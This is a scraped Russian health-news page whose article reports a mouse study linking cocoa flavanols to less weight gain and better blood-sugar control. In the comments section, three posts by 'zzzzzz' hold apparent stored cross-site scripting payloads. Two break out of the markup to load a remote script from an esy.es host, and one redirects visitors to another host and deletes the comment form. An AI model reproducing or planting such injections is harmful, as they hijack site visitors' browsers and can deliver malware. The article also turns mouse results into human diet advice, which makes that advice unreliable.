Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  В это невозможно поверить...  >>  В это невозможно поверить! Шоколад помогает похудеть!
 
Обратная связь
 

В это невозможно поверить! Шоколад помогает похудеть!

Размер шрифта
27 апреля 2015 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Темный шоколад любим многими и совсем не зря. Он богат флаванолами, которые являются эффективными антиоксидантами, а также позволяют поддерживать нормальный вес и не допустить развития сахарного диабета.

Ученые решили определить, какие именно вещества в составе темного шоколада отвечают за его полезные свойства: помогают предотвратить развитие ожирения и сахарного диабета 2 типа. Они выяснили, что употребление флаванолов – антиоксидантов, выделенных из какао-бобов, позволяет предотвратить набор лишнего веса у лабораторных мышей.

Какао-бобы богаты флаванолами, и именно они отвечают за все полезные свойства темного шоколада. В различных исследованиях было показано, что флаванолы, содержащиеся в грейпфрутах и чае, помогают предотвратить набор веса и препятствуют развитию сахарного диабета. Однако в какао-бобах содержится множество различных флаванолов, поэтому ученым предстояло определить, какой из них обладает столь полезными для организма человека свойствами.

Эксперимент проводился на мышах, причем каждую группу мышей кормили по-разному. Ученые использовали специальные диеты с высоким содержанием жиров, а также добавляли в рацион мышей различные флаванолы. Они выяснили, что именно олигометрические процианидины, введенные в рацион питания мышей, способствовали поддержанию нормальной массы тела на диете с большим количеством жиров. Также при употреблении в пищу этих веществ у мышей улучшилась регуляция уровня сахара в крови, что снижает риск развития сахарного диабета 2 типа.

«Олигометрические процианидины, которые содержатся в какао-бобах, эффективны в борьбе с ожирением и сахарным диабетом, особенно если применяются в малых дозах», – резюмируют ученые.

Так что если вы ведете здоровый образ жизни, не стоит полностью отказываться от сладостей. Темный шоколад – это не только вкусное, но и очень полезное лакомство. Но в день не надо есть больше одной плиточки.

Другие статьи о снижении веса читайте на страницах нашего специального проекта «Сбрось лишнее».

Результаты этого исследования были опубликованы в Journal of Agricultural & Food Chemistry.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:22

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 21:19

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:12

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Как обмануть мозг, чтобы похудеть?   Как похудеть, поедая шоколад   Как контролировать количество жира в теле   Правила поддержания веса с помощью гаджетов  
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 05 июля 2013Вы не виноваты в своем лишнем весе! Еда всего лишь одна из причин ожирения! Какая же главная?
 
31 мая 2013От инфаркта не убежать, но можно уйти! Новые данные говорят о том, что ходьба также эффективна, как бег, в борьбе с лишним весом! 21 мая 2013Когда я ем – я глух и нем! Ученые доказали, что это поможет похудеть!
 

Слайдшоу

1
Что не даст вам похудеть на праздниках
Как не сорваться на диете и похудеть?
Самые опасные стили питания: еда на нервах

Тесты

1
Какое мороженное съесть, чтобы похудеть
Есть ли у вас избыточный вес?
Готовы ли вы сбросить лишнее?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.